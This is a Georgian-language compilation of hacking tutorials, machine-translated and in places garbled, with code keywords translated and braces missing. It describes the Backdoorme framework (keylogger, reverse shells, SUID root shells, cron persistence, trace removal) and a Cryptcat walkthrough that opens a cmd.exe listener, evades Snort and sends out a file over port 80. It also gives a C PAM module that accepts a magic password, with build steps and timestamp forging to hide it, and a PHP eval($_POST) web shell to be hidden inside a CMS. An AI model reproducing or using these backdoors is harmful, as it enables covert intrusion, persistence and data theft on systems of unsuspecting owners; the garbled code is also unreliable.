ჩვენ ვწერთ უკანა კარს. უკანა კარი ჰაკერისთვის თქვენს კომპიუტერში – BackDoor spyware

Backdoorme - პროგრამა უკანა კარების ავტომატურად შესაქმნელად

Backdoorme არის ძლიერი პროგრამა, რომელსაც შეუძლია შექმნას მრავალი უკანა კარი Unix მანქანებზე. Backdoorme იყენებს ნაცნობ metasploit ინტერფეისს საოცარი გაფართოებით. Backdoorme ეყრდნობა მსხვერპლის არსებულ SSH კავშირს ან სერთიფიკატებს ნებისმიერი უკანა კარის გადასაცემად და გამოსაყენებლად. გთხოვთ გამოიყენოთ Backdoorme ღია ნებართვით.

სტუმრებისგან დამალული


Backdoorme-ს დაუყოვნებლივ მოყვება ჩაშენებული უკანა კარების, მოდულების და დამხმარე მოდულების გარკვეული რაოდენობა. Backdoors არის კონკრეტული კომპონენტები საჭირო backdoor-ის შესაქმნელად და განსათავსებლად, როგორიცაა netcat backdoor ან msfvenom backdoor. მოდულები შეიძლება გამოყენებულ იქნას ნებისმიერ უკანა კარზე და გამოიყენება უკანა კარების უფრო მძლავრი, დამალული ან უფრო სწრაფი გამორთვის მიზნით. დამხმარეები არის სასარგებლო ოპერაციები, რომლებიც შეიძლება შესრულდეს მუდმივობის შესანარჩუნებლად.

ცოტა მეტი უკანა კარების შესახებ: Backdoorme-ის გასაშვებად, დარწმუნდით, რომ გაქვთ საჭირო დამოკიდებულებები.

$python dependencies.py

Backdoorme-ის გაშვება:

$ python master.py

უკანა კარები

Backdoor-ის გამოსაყენებლად, უბრალოდ გაუშვით საკვანძო სიტყვა „გამოიყენე“.

>> გამოიყენეთ shell/metasploit + მიმდინარე სამიზნე 1-ის გამოყენება. + Metasploit backdoor-ის გამოყენება... (msf) >>

იქიდან შეგიძლიათ დააყენოთ უკანა კარის შესაბამისი პარამეტრები. გაუშვით ან "show options" ან "help", რათა ნახოთ პარამეტრების სია, რომელთა კონფიგურაცია შესაძლებელია.

მეტასპლოიტის მსგავსად, უკანა კარები კატეგორიებად იყოფა.

  • Დამხმარე
    • keylogger– ამატებს keylogger-ს სისტემაში და თქვენთვის ხელმისაწვდომი გახდის შედეგების ფოსტით უკან გაგზავნის შესაძლებლობას;
    • მარტივი http– დააინსტალირებს python SimpleHTTP სერვერს კლიენტზე.
    • მომხმარებელი- ამატებს ახალ მომხმარებელს მიზანში.
    • ვებ– დააინსტალირებს Apache სერვერს კლიენტზე.
  • ესკალაცია
    • სეტუიდი– SetUID backdoor მუშაობს შესრულებად ფაილზე setuid ბიტის დაყენებით, რაც გულისხმობს, რომ მომხმარებელს აქვს root წვდომა. ამრიგად, როდესაც ამ შესრულებადს მოგვიანებით აწარმოებს მომხმარებელი, რომელსაც არ აქვს root წვდომა, ფაილი სრულდება root წვდომით. ნაგულისხმევად, ეს backdoor ცვლის setuid bit-ს nano-ზე, ასე რომ, თუ root წვდომა რაიმე გზით დაიკარგება, თავდამსხმელს შეუძლია შევიდეს SSH-ში, როგორც არაპრივილეგირებული მომხმარებელი და კვლავ შეძლებს ნანოს (ან ნებისმიერი არჩეული ორობითი) გაშვებას root-ად. ("ნანო /etc/shadow"). გთხოვთ გაითვალისწინოთ, რომ ამ backdoor გაფართოების განსათავსებლად, თავიდანვე საჭიროა root წვდომა.
    • ჭურვი– shell backdoor არის პრივილეგირებული backdoor გაფართოება, მსგავსი (მაგრამ უფრო კონკრეტული) მისი გაფართოების SetUID. ის დუბლირებს bash გარსს ფარულ ბინარში და აყენებს SUID ბიტს. გთხოვთ გაითვალისწინოთ, რომ ამ backdoor გაფართოების განსათავსებლად თავდაპირველად საჭიროა root წვდომა. იმისათვის, რომ გამოიყენოთ ეს backdoor SSH-ში მუშაობისას, როგორც არაპრივილეგირებული მომხმარებელი, უბრალოდ გაუშვით ".bash -p" და გექნებათ root წვდომა.
  • Shell (Shell კატეგორია)
    • ბაშ– იყენებს მარტივ bash სკრიპტს კონკრეტულ ip-სა და პორტის კომბინაციასთან დასაკავშირებლად და შედეგის გადასასვლელად bash-ზე.
    • bash2– ზემოთ აღწერილი ოდნავ განსხვავებული (და უფრო უსაფრთხო) bash backdoor, რომელიც არ საჭიროებს პაროლს კლიენტის მხარეს.
    • მეტასპლოიტი– იყენებს msfvenom-ს სამიზნეზე reverse_tcp ბინარის შესაქმნელად, შემდეგ აწარმოებს ორობითს მრიცხველის გარსთან დასაკავშირებლად.
    • ნეტკატი– იყენებს netcat-ს სტანდარტული შეყვანისა და გამოსავლის გადასაცემად /bin/sh-ზე, რაც მომხმარებელს აძლევს ინტერაქტიულ გარსს.
    • netcat_traditional– იყენებს netcat-traditional's -e-ს საპირისპირო გარსის შესაქმნელად.
    • პერლი- პერლში დაწერილი სკრიპტი, რომელიც გადამისამართებს შედეგს bash-ზე და გადარქმევს პროცესს ისე, რომ ნაკლებად შესამჩნევი იყოს.
    • php– უშვებს php backdoor-ს, რომელიც აგზავნის შედეგს bash-ში. ის ავტომატურად არ აყენებს ვებ სერვერს, არამედ იყენებს ვებ მოდულს.
    • ლეკვი– იყენებს n1nj4sec Pupy backdoor-ს, რომელიც მდებარეობს

      სტუმრებისგან დამალული

      .
    • პითონი- იყენებს მოკლე პითონის სკრიპტს ბრძანებების შესასრულებლად და შედეგების მომხმარებლისთვის გაგზავნისთვის.
    • ვებ– აგზავნის ვებ სერვერს სამიზნეზე, შემდეგ ჩამოტვირთავს msfvenom php reverse_tcp backdoor-ს და უერთდება ჰოსტს. მიუხედავად იმისა, რომ ეს ჯერ კიდევ არის php backdoor, ის არ არის იგივე, რაც ზემოთ აღწერილი php backdoor.
  • წვდომა
    • remove_ssh– შლის ssh სერვერს კლიენტზე. ძალიან მოსახერხებელია მისი გამოყენება უკანა კარის სესიის ბოლოს, ნებისმიერი კვალის მოსაშორებლად.
    • ssh_key– ქმნის RSA გასაღებს და აკოპირებს სამიზნეს ssh პაროლის გარეშე დასაკავშირებლად.
    • ssh_port– ამატებს ახალ პორტს ssh-სთვის.
  • Windows (Windows კატეგორია)
    • ფანჯრები– იყენებს msfvenom-ს Windows backdoor-ის შესაქმნელად.
მოდულები

თითოეულ უკანა კარს აქვს შესაძლებლობა მიიღოს დამატებითი მოდულები, რომლებიც გამოიყენება უკანა კარი უფრო მძლავრად. მოდულის დასამატებლად უბრალოდ გამოიყენეთ საკვანძო სიტყვა „დამატება“.

(msf) >> დამატება poison + Poison მოდული დამატებულია

თითოეულ მოდულს აქვს დამატებითი პარამეტრები, რომელთა კონფიგურაციაც შესაძლებელია და თუ ხელახლა გაუშვით "help", შეგიძლიათ ნახოთ ან დააყენოთ ნებისმიერი დამატებითი ვარიანტი.

ამჟამად ხელმისაწვდომი მოდულები მოიცავს:

  • შხამი
    • ახორციელებს ურნის მოწამვლას სამიზნე კომპიუტერზე - ის აგროვებს შესრულებად ფაილს სისტემის უტილიტასა და არსებულ უკანა კარზე გამოსაძახებლად.
    • მაგალითად, თუ ურნის მოწამვლის მოდული გაშვებულია "ls"-თან ერთად, ის შეადგენს და პორტირებს ბინარს სახელად "ls", რომელიც გაუშვებს როგორც არსებულ Backdoor-ს, ასევე ორიგინალურ "ls-ს", რითაც მომხმარებელს გაუქმდება უკანა კარის უფრო ხშირად გაშვება. .
  • კრონ
    • ამატებს არსებულ backdoor-ს root მომხმარებლის კრონტაბს, რომ იმუშაოს მითითებულ სიხშირეზე.
  • ვებ
    • აინსტალირებს ვებ სერვერს და მასპინძლობს ვებ გვერდს, რომელიც უშვებს უკანა კარს.
    • უბრალოდ მიდის საიტზე ღია მსმენელთან და უკანა კარი იხსნება.
  • მომხმარებელი
    • ამატებს ახალ მომხმარებელს მიზანში.
  • Დაწყება
    • საშუალებას გაძლევთ შექმნათ backdoors bashrc და init ფაილებით.
  • თეთრი სია
    • ათავსებს IP-ს თეთრ სიას ისე, რომ მხოლოდ ამ IP-ს შეუძლია უკანა კართან დაკავშირება.
თარგმანი:

Cryptcat გვაძლევს ორ სისტემას შორის კომუნიკაციის საშუალებას და დაშიფვრის მათ შორის კომუნიკაციას twofish-ის გამოყენებით - დაშიფვრის მრავალი შესანიშნავი ალგორითმიდან ერთ-ერთი.

ადრე, ჩვენ გავეცანით ერთ პატარას, რომელიც საშუალებას გაძლევთ შექმნათ კავშირი ნებისმიერ ორ მანქანას შორის და გადაიტანოთ ფაილები ან შექმნათ ბრძანების ჭურვი სისტემის „დაუფლებისთვის“. მიუხედავად ამ პატარა ხელსაწყოს სილამაზისა და ელეგანტურობისა, მას აქვს ერთი მნიშვნელოვანი ნაკლი - კომპიუტერებს შორის გადარიცხვები შეიძლება გამოვლინდეს უსაფრთხოების მოწყობილობებით, როგორიცაა firewalls და შეჭრის აღმოჩენის სისტემები (IDS).

ამ ტუტორიალში ჩვენ წარმოგიდგენთ netcat-ის პოპულარულ ბიძაშვილს, კრიპტატს (ის სინამდვილეში ბევრად უფრო ლამაზი და ეგზოტიკურია, ვიდრე ჩვეულებრივი ნეტკატი).

ვინაიდან Twofish-ის დაშიფვრა AES დაშიფვრის თანაბარია, ეს კრიპტატს პრაქტიკულად ტყვიაგამძლე ხდის. ამრიგად, IDS ვერ აღმოაჩენს მავნე ქცევას მაშინაც კი, როდესაც მისი მარშრუტები გადის საერთო HTTP პორტებს 80 და 443.

ნაბიჯი 1: ჩამოტვირთეთ Cryptcat

ნაბიჯი 2: გახსენით მსმენელი Windows სისტემაზე

ჩვენ შეგვიძლია გავხსნათ მსმენელი ნებისმიერ სისტემაზე მსგავსი სინტაქსით, როგორც netcat-ისთვის. ჩვენს შემთხვევაში, ჩვენ ვხსნით მსმენელს Windows 7-ზე 6996 პორტზე და ვქმნით ბრძანების გარსს.

cryptcat -l -p 6996 -e cmd.exe

L ნიშნავს "ღია მსმენელს"
-p 6996 ნიშნავს "განათავსე მსმენელი პორტ 6996-ზე"
-e cmd.exe ნიშნავს "დაიწყე ბრძანების გარსი კომუნიკაციისთვის"

ნაბიჯი 3: გახსენით Snort ან სხვა IDS

ახლა, მოდით გავუშვათ IDS, როგორიცაა Snort სხვა სისტემაზე, რომელიც დაუკავშირდება Windows სისტემას, რათა დავინახოთ, შეუძლია თუ არა დაშიფვრა IDS-ს დაბრმავებას, რის გამოც ჩვენი უკანა კარი უხილავი იქნება მსგავსი უსაფრთხოების მოწყობილობებისთვის.


ნაბიჯი 4: დაუკავშირდით Windows სისტემას Cryptcat-ით

Cryptcat დაინსტალირებულია BackTrack-ზე ნაგულისხმევად, ასე რომ, ჩვენ არ გვჭირდება მისი ჩამოტვირთვა და ინსტალაცია. გარდა ამისა, ის მდებარეობს /bin დირექტორიაში, ასე რომ ჩვენ შეგვიძლია მასზე წვდომა ნებისმიერი დირექტორიადან.

ახლა მოდით დავუკავშირდეთ Windows 7 კრიპტატის სისტემას ჩვენი BackTrack სისტემიდან და ვნახოთ, შევძლებთ თუ არა დაშიფრული უკანა კავშირის შექმნას, რომლის აღმოჩენა თითქმის შეუძლებელია.

cryptcat 192.168.4.182.248 6996


როგორც ხედავთ, ჩვენ ვართ დაკავშირებული Windows 7 სისტემასთან და მივიღეთ ბრძანების გარსი Win 7 სისტემიდან! ეს გვაძლევს მნიშვნელოვან კონტროლს ამ სისტემაზე, მაგრამ არა სრულ კონტროლზე, რადგან ბრძანების გარსს აქვს შეზღუდული შესაძლებლობები.

ნაბიჯი 5: შეამოწმეთ Snort Logs და Alerts

ამ ტიპის თავდასხმა (ჭურვების გავლა ქსელში) ადვილად გამოვლენილია Snort-ის ან სხვა IDS-ის გამოყენებით, როდესაც კავშირი არ არის დაშიფრული. Snort-ის წესები შეატყობინებს sysadmin-ს, რომ cmd.exe გარსი გადის ქსელურ კავშირს და ისინი, სავარაუდოდ, რაღაცას გააკეთებენ, რომ არ გამოიყენოთ ეს ჭურვი. cryptcat-თან დაშიფრული კავშირით, ამ კავშირის აღმოჩენა თითქმის შეუძლებელია.

მოდით დავბრუნდეთ და შევამოწმოთ ჟურნალები და გაფრთხილებები Snort-ში. თუ ჩვენ წარმატებით გავართვით თავი IDS-ს, არ უნდა დავინახოთ გაფრთხილება ჭურვის ქსელში გადაადგილების შესახებ. ჩვენ შეგვიძლია შევამოწმოთ ჩვენი ჟურნალი /var/snort/alerts-ზე გადასვლით და ვნახოთ არის თუ არა რაიმე სიგნალიზაცია, რომელიც გამოწვეულია Windows-ის აპარატთან ჩვენი კავშირით (ჩვეულებრივ, ჩვენ უნდა ვიპოვოთ გაფრთხილება).

kwrite /var/snort/alerts


როგორც ხედავთ, ჩვენ წარმატებას მივაღწიეთ. ჩვენ შევძელით Windows სისტემასთან დაკავშირება უსაფრთხოების სისტემის გაფრთხილების გარეშე!

ნაბიჯი 6: გაგზავნეთ Crypcat 80 პორტზე, რათა თავიდან აიცილოთ firewall

მიუხედავად იმისა, რომ ჩვენ წარმატებით შევქმენით დაშიფრული უკანა კარი მსხვერპლის სისტემაზე, უსაფრთხოების თვალისმომჭრელი ადმინისტრატორი შეამჩნევს, რომ უჩვეულო პორტი ღიაა (6996). ეს სავარაუდოდ გამოიწვევს უსაფრთხოების ადმინისტრატორის რაიმე სახის მოქმედებას ჩვენი წვდომის შეზღუდვის მიზნით. ასევე, კარგი sysadmin და კარგი firewall-ის მქონე სისტემებზე, ეს პორტი სავარაუდოდ დაიბლოკება firewall-ით.

იმისთვის, რომ ნებისმიერმა ქსელმა შეძლოს ინტერნეტში კომუნიკაცია, დიდი ალბათობით უნდა გქონდეთ ღია 80 და 443 პორტები, მაგრამ ასევე შესაძლოა 25, 53 და 110. რადგან დაშიფრული, ნორმალური ინტერნეტ ტრაფიკი გადის პორტ 80-ში, რომელიც თითქმის ყოველთვის ღიაა. , მაშინ მოძრაობის უმნიშვნელო ზრდა ნაკლებად სავარაუდოა.

ახლა, როდესაც ჩვენ წარმატებით გამოვიყენეთ cryptcat, მოდით გავაგზავნოთ იგი პორტ 80-ზე ყველა სხვა ინტერნეტ ტრაფიკით. მიუხედავად იმისა, რომ ის დაშიფრულია, ის ჰგავს ნებისმიერ ორობით მონაცემს, რომელიც გადაცემულია ხაზით. ამიტომ უსაფრთხოების მოწყობილობებისთვის თითქმის შეუძლებელი იქნება მისი დაბლოკვის ამოცნობა, რადგან მათ ყოველთვის უნდა დაუშვან ტრაფიკი 80-ე პორტზე და ტრაფიკი დაშიფრულია და IDS ვერ შეძლებს მისი შინაარსის „დანახვას“.

აქ ჩვენ გადავიტანთ ფაილს მსხვერპლის სისტემიდან, სახელწოდებით topsecret.txt, ჩვენს თავდასხმულ სისტემაში უსაფრთხოების მოწყობილობის მიერ აღმოჩენის გარეშე. ამჯერად, ქსელის მეშვეობით ჭურვის გაგზავნის ნაცვლად, ჩვენ გავაგზავნით საიდუმლო ფაილს, სახელწოდებით topsecret.txt, ჩვენი დაშიფრული კავშირის საშუალებით. ჩვენ შეგვიძლია ამის გაკეთება Windows ბრძანების სტრიქონში აკრეფით:

cryptcat -l -p 80< topsecret.txt

L ნიშნავს "ღია მსმენელს"
-p 80 ნიშნავს "ღია მსმენელს 80 პორტზე"
< означает "отправить файл через этого слушателя"

გატეხილ მანქანაზე ფეხის მოპოვების უამრავი გზა არსებობს. ყველაზე ბანალური და ადვილად აღმოჩენილი (დაამატე საკუთარი თავი მომხმარებლის ბაზაში) ბირთვის რთულ მოდულებამდე, რომლებიც ახორციელებენ საპირისპირო გარსს დისტანციურ მანქანაზე. მაგრამ მათ შორის არის მეთოდი, რომელიც არის ძალიან მარტივი განსახორციელებელი და საკმაოდ გასაიდუმლოებული, რომლის შესახებ გასაოცრად ცოტამ თუ იცის. ეს არის PAM ავთენტიფიკაციის სისტემის მოდულების მოდიფიკაცია, რომელსაც ყველა თანამედროვე UNIX სისტემა იყენებს.

რა არის PAM

Pluggable Authentication Modules (PAM) არის API-ების ნაკრები, რომელიც საჭიროა სხვადასხვა აპლიკაციებში ავთენტიფიკაციის მექანიზმების დასანერგად.

PAM-ის მოსვლამდე, ავთენტიფიკაციის განსახორციელებლად, ვთქვათ, გასაღების ბარათის გამოყენებით, დეველოპერებს უნდა დაემატებინათ კოდი ამ იგივე საკვანძო ბარათების მხარდასაჭერად სისტემის თითოეულ კომპონენტში, რომელიც პასუხისმგებელია მომხმარებლის ავთენტიფიკაციაზე. ანუ, შესვლის პროგრამა, sshd, ისევე როგორც ნებისმიერი სხვა პროგრამული უზრუნველყოფა, რომელზედაც დაგეგმილი იყო მსგავსი ფუნქციების დამატება, უნდა დაემატებინა და ხელახლა აშენებულიყო.

PAM-ის მოსვლასთან ერთად, სიტუაცია გაცილებით მარტივი გახდა. ახლა, იმისათვის, რომ სისტემაში დაამატოთ თქვენი საკუთარი უნიკალური, თვითდაწერილი ავტორიზაციის პროტოკოლი, საკმარისია მისი დანერგვა ერთი PAM მოდულის ფარგლებში. და ყველა კომუნალური პროგრამა და აპლიკაცია, რომელსაც შეუძლია PAM-თან მუშაობა, აიღებს მას და შეძლებს გამოიყენოს იგი მომხმარებლის ავთენტიფიკაციისთვის.

პრაქტიკაში, ეს ასე გამოიყურება: შესვლის პროგრამა უწოდებს PAM-ს, რომელიც ასრულებს ყველა აუცილებელ შემოწმებას კონფიგურაციის ფაილში მითითებული მოდულების გამოყენებით და შედეგს უბრუნებს შესვლის პროგრამას. მოსახერხებელია, არა? თუმცა, ეს მიდგომა შეიცავს შესაძლებლობებს, რომლებიც შეგვიძლია გამოვიყენოთ სისტემაში ფეხის მოსაპოვებლად.

ღირს მცირე უარის თქმა. არსებობს PAM-ის სამი ძირითადი განხორციელება:

  • Linux-PAM არის PAM-ის ძირითადი დანერგვა ლინუქსის ნებისმიერ სისტემაზე;
  • OpenPAM - გამოიყენება BSD სისტემებზე და macOS-ზე;
  • JPam არის PAM იმპლემენტაცია Java აპლიკაციებისთვის.

ჩვენ არ გავამახვილებთ ყურადღებას რაიმე კონკრეტულ განხორციელებაზე. ძირითადი ფუნქციონირება ყველგან ერთნაირია.

*nix-ში დამაგრების ასპექტები PAM-ის გამოყენებით

კატალოგში შეგიძლიათ იპოვოთ PAM პარამეტრები თითოეული აპლიკაციისთვის /etc/pam.d(Linux) ან /etc/pam.conf ფაილში. კონფიგურაციის ფაილის მაგალითი macOS-ზე შესვლის პროგრამისთვის:

auth არასავალდებულო pam_krb5 .ასე რომ use_kcminit

auth სურვილისამებრ pam_ntlm .ასე რომ try_first_pass

auth სურვილისამებრ pam_mount .ასე რომ try_first_pass

auth საჭირო pam_opendirectory .ასე რომ try_first_pass

საჭიროა ანგარიში pam_nologin .ასე

საჭიროა ანგარიში pam_opendirectory .ასე

პაროლი საჭიროა pam_opendirectory .ასე

სესია საჭიროა pam_launchd .ასე

სესია საჭიროა pam_uwtmp .ასე

სესია სურვილისამებრ pam_mount .ასე

ვნახოთ, რა ჯადოქრობა ხდება აქ.

კონფიგურაციის ფაილი აღწერს გადამოწმების წესებს, რომლებიც უნდა დაიცვან მომხმარებლის წარმატებით ავთენტიფიკაციისთვის ან სხვა მოქმედებების შესასრულებლად (პაროლის შეცვლა, მომხმარებლის გარემოს მომზადება). კონფიგურაციის ფაილის თითოეული ხაზი შეიცავს ერთ წესს. შემოწმებები ტარდება სტრიქონში.

მარცხნიდან მარჯვნივ: მოდულის ტიპი, control_flag, მოდულის სახელი. ჩვენთვის ავთენტიფიკაციაზე პასუხისმგებელი არიან მოდულის ავტორიზაციის ტიპი. Control_flag არის მოდულის თვისება. მას შეუძლია მიიღოს შემდეგი მნიშვნელობები:

  • რეკვიზიტი - თუ მოდული დააბრუნებს დადებით პასუხს, ჯაჭვის დანარჩენი ნაწილი შესრულდება და მოთხოვნა დაკმაყოფილებულია. თუ მოდული აბრუნებს უარყოფით პასუხს, მაშინ მოთხოვნა დაუყოვნებლივ უარყოფილია და სხვა შემოწმება არ ტარდება;
  • საჭირო - ზუსტად იგივე, რაც რეკვიზიტი: თუ პასუხი დადებითია, შემოწმების ჯაჭვის დანარჩენი ნაწილი შესრულებულია. ერთადერთი განსხვავება ისაა, რომ თუ პასუხი უარყოფითია, ჩეკების ჯაჭვი გრძელდება, მაგრამ მოთხოვნა უარყოფილია;
  • საკმარისი (საკმარისი) - აკმაყოფილებს მოთხოვნას, თუ ჯაჭვში ადრე ჩატარებულმა არცერთმა სხვა შემოწმებამ არ იმუშავა უარყოფითად. თუ მოდული მუშაობს უარყოფითად, შედეგი იგნორირებულია და ჩეკების ჯაჭვი შემდგომ მუშავდება;
  • სურვილისამებრ - მოდული დამუშავებულია, მაგრამ შედეგი იგნორირებულია.

უკვე ამ ეტაპზე, თქვენ ალბათ მიხვდით, რომ კონფიგურაციის ფაილში მცირე ცვლილებების შეტანით, ჩვენ შეგვიძლია უზრუნველვყოთ წარმატებული შესვლა ნებისმიერი პაროლით (საკმარისია ყველა ავტორიზაციის მოდული არჩევითად მონიშნოთ). მაგრამ ეს გამოსავალი იმუშავებს მანამ, სანამ ლეგიტიმური მომხმარებელი ან ადმინისტრატორი შეამჩნევს, რომ ის წარმატებით შედის სისტემაში, თუნდაც არასწორი პაროლით.

ვწერთ ჩვენს უკნიდან მოდულს

PAM საშუალებას გვაძლევს დავაკავშიროთ ჩვენი საკუთარი ავტორიზაციის მოდულები. ამიტომ, ჩვენ შეგვიძლია შევქმნათ მოდული „ჯადოსნური“ პაროლით და დავრწმუნდეთ, რომ სისტემა მიიღებს როგორც მომხმარებლის სტანდარტულ პაროლებს, ასევე ჩვენს საკუთარ პაროლებს. თუ თქვენ შეიყვანთ არასწორ პაროლს, ჩვენ დავინახავთ ავტორიზაციის სრულიად მოსალოდნელ შეცდომას. არ არის ცუდი ვარიანტი.

ასე რომ, კოდი (არ დაგავიწყდეთ ჯადოსნური პაროლის შეცვლა თქვენი "ჯადოსნური" პაროლით):

#შეიცავს

#შეიცავს

#შეიცავს

#შეიცავს

#შეიცავს

#შეიცავს

#define MYPASSWD "ჯადოსნური პაროლი"

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

დაბრუნება PAM_SUCCESS;

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

დაბრუნება PAM_SUCCESS;

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh , int flags , int argc , const char * * argv ) (

char * პაროლი = NULL ;

pam_get_authtok (pamh, PAM_AUTHTOK, (const char * *) & პაროლი, NULL);

if (! strncmp (პაროლი , MYPASSWD , strlen (MYPASSWD ) ) )

დაბრუნება PAM_SUCCESS;

დაბრუნება - 1;

მოდით შევკრიბოთ მოდული:

$ sudo apt - დააინსტალირეთ libpam0g - dev gcc

$ gcc - fPIC - c pam_backdoor .c

$ ld - x -- shared - o pam_backdoor .so pam_backdoor .o

და განათავსეთ იგი დირექტორიაში სხვა მოდულებთან ერთად:

$ sudo chown root : root pam_backdoor .ასე

$ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / უსაფრთხოება /

გთხოვთ გაითვალისწინოთ, რომ გზა /lib/x86_64-linux-gnu/security/სპეციფიკური Debian/Ubuntu-სთვის. Fedora-ზე, Red Hat-სა და CentOS-ზე მოდულები განთავსებულია დირექტორიაში /lib64/უსაფრთხოება/, ხოლო Arch Linux-ში - დირექტორიაში /lib/უსაფრთხოება/.

ახლა რჩება მხოლოდ PAM-ის კონფიგურაცია ისე, რომ თქვენი მოდულის მიერ ვერიფიკაციის გავლა საკმარისი იყოს წარმატებული ავთენტიფიკაციისთვის. მაგალითად, კონფიგურაცია სუ პროგრამისთვის ( /etc/pam.d/su):

ზოგიერთ Linux სისტემაში ავტორიზაციის პარამეტრები შეიძლება განთავსდეს რამდენიმე ფაილში: common-auth, common-password, common-session და შემდეგ დაუკავშირდეს კონკრეტული უტილიტების კონფიგურაციის ფაილებს @include . ეს წერტილი უნდა იქნას გათვალისწინებული.

კონფიგურაციაში პარამეტრების გაკეთების შემდეგ, su utility მოგცემთ საშუალებას გამოიყენოთ მოდულში მითითებული პაროლი. იგივე ხრიკი შეიძლება გაკეთდეს შესვლის უტილიტით (კონსოლის შესვლა) და sshd დისტანციური შესვლისთვის.

Backdoor-ის ჩასმა არსებულ მოდულში

PAM-ის კონფიგურაციის რედაქტირებისას, შესაძლოა შენიშნეთ pam_unix.so მოდული. ეს მოდული პასუხისმგებელია მომხმარებლის ავთენტიფიკაციაზე UNIX სისტემებისთვის სტანდარტული პაროლის მონაცემთა ბაზის გამოყენებით /etc/passwd. ბევრი კომუნალური პროგრამა იყენებს მას, მათ შორის su, login, sshd და სხვა პროგრამები (მაგალითად, SecureFTPd).

იმის გამო, რომ PAM ჯერ კიდევ ღია წყაროა და ჩვენ გვაქვს წვდომა როგორც თავად დემონის, ასევე მისი სტანდარტული კომპონენტების წყაროზე, ჩვენ შეგვიძლია ავაშენოთ ჩვენი უკანა კარი პირდაპირ ამ მოდულში.

საჭირო ცვლილებების შესატანად, გადმოწერეთ PAM-ის წყარო ტექსტები:

$http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

$tar - xzf inux - PAM - 1.1.8.tar.gz

ფაილის გახსნა Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.cდა მოძებნეთ შემდეგი ხაზები:

ჩვენ ვაწყობთ და ვცვლით ორიგინალურ მოდულს ჩვენით:

$. / კონფიგურაცია

$ მარკა

$ sudo cp Linux - PAM - 1.1.8 / მოდულები / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / უსაფრთხოება /

იმისათვის, რომ ადმინისტრატორმა არ შეამჩნიოს ჩანაცვლება, ჩვენ ვცვლით ფაილის შექმნის დროს ისე, რომ ემთხვევა სხვა მოდულების შექმნის დროს.

მახსოვს, სტატიაში „10 რჩევა და რეკომენდაცია ვებსაიტის შეკვეთისთვის“ აღვნიშნე შემთხვევა, როდესაც არაკეთილსინდისიერმა კლიენტმა გადაწყვიტა ჩვენი მოტყუება, მიუხედავად იმისა, რომ ერთად ვმუშაობდით წელიწადნახევარზე მეტი. მას შემდეგ რაც გავარკვიეთ, რომ არაფერს არ გადაგვიხდიდნენ, ჩვენი საიტებიც კი ვერ დავიბრუნეთ, რადგან მათში ერთი ხვრელიც არ იყო დარჩენილი.

თუმცა, რამაც დამაძინა ის იყო, რომ ერთ-ერთ საიტზე ჯერ კიდევ მქონდა პატარა „გადაუდებელი შესასვლელი“, რომლის წყალობითაც არ მიფიქრია მეორე საიტის შემუშავებაზე და სამყაროში გამოსვლაზე. და ეს შეყვანა სერვერზე ფაილების ატვირთვის მარტივ ფორმას ჰგავდა.

მისი დახმარებით ავტვირთე საიტზე საჭირო სკრიპტები და გავუშვი საიტზე, მათ კი თავის მხრივ თავიანთი ბინძური საქმე გააკეთეს. ამ კარს ერთი ნაკლი ჰქონდა – მისი გამოყენება ნებისმიერს შეეძლო, თუ, რა თქმა უნდა, იცოდა მისი არსებობის შესახებ.

გავიდა დრო და მიუხედავად იმისა, რომ დღემდე ყველაფერი მშვიდობიანად მიმდინარეობს, ეს არ გამორიცხავს, ​​რომ ასეთი ოხრახუში განმეორდეს.

პრინციპში, შეგიძლიათ გამოიყენოთ სერვერზე შესრულებადი ფაილის გაგზავნის ძველი მეთოდი, მაგრამ... რატომ არის ეს გართულებები, თუ შეგიძლიათ ყველაფერი გაამარტივოთ.

მე გთავაზობთ ვარიანტებს და იდეებს უმარტივესი უკანა კარისთვის, იმ შემთხვევაში, თუ პრობლემები ნამდვილად წარმოიქმნება. Ისე…

  1. ჩვენ ვქმნით php ფაილს და ვუწოდებთ მას რაღაც შეუმჩნეველს, როგორიცაა License.php ან სხვა რამ.
  2. ჩვენ მასში ვწერთ კოდს

    if (isset($_POST["ტექსტი"]))
    eval($_POST["ტექსტი"]);
    ?>




  3. ჩვენ ვათავსებთ ფაილს სადღაც უფრო ღრმად cms-ში, მაგალითად, WYSIWYG რედაქტორის ველურში. სურვილის შემთხვევაში, დააკოპირეთ ფაილი კიდევ 2-3 ადგილას (ყოველ შემთხვევაში)

აი ეს არის ჩარჩო აღშფოთებისთვის. ვფიქრობ, არ არის საჭირო იმის ახსნა, რომ eval ფუნქცია ახორციელებს ფორმაში აკრეფილ კოდს.

ეს მხოლოდ ჩარჩოა, რომელსაც შეიძლება ჰქონდეს განხორციელების მრავალი მაგალითი. ვთქვათ, შეგიძლიათ გამოიყენოთ highlight_file ზოგიერთი ფაილის შიგთავსის საჩვენებლად პაროლებით, რომლებზეც პირდაპირი წვდომა არ არის. შეგიძლიათ დაუკავშირდეთ მონაცემთა ბაზას, წაიკითხოთ შინაარსი ან შეცვალოთ იგი. ან შეგიძლიათ დაბეჭდოთ სკრიპტი სერვერზე ყველაფრის წასაშლელად, რატომაც არა.

ქვემოთ შემოგთავაზებთ იდეებს ამ კარის შევსებისთვის, რომელიც შეიძლება გაკეთდეს სურვილისამებრ - ძვირფასო მკითხველო, სურვილისამებრ საშინაო დავალების სახით დავტოვებ. მაგრამ თუ მოულოდნელად სურვილი გაჩნდა, სიამოვნებით შევხედავ რა მოხდა.

იდეები გაუმჯობესებისთვის :

  1. ზოგადად, კარგი იქნება, რომ კარი ყველასთვის ხელმისაწვდომი არ იყოს და მისი ავტორიზაცია, მაგალითად, რეგულარული .htaccess, კარგად, ან PHP სესიაზე დაფუძნებული ხელსაწყოების გამოყენებით (ან უკეთესი, ორივე - რედაქტორის შენიშვნა).
  2. ავტორიზაციის არსებობით, შეგიძლიათ ზოგადად მოამზადოთ რამდენიმე ღილაკი, რომელზედაც დაჭერით შეგიძლიათ დარეკოთ ესა თუ ის სკრიპტი. მაგალითად, შედიხართ თქვენს კარში და არის ღილაკები - წაიკითხეთ პაროლები, წაიკითხეთ მონაცემთა ბაზა, წაშალეთ ადმინისტრაციული პანელი და ა.შ.
  3. სხვა იდეები?

ბოლოს და ბოლოს

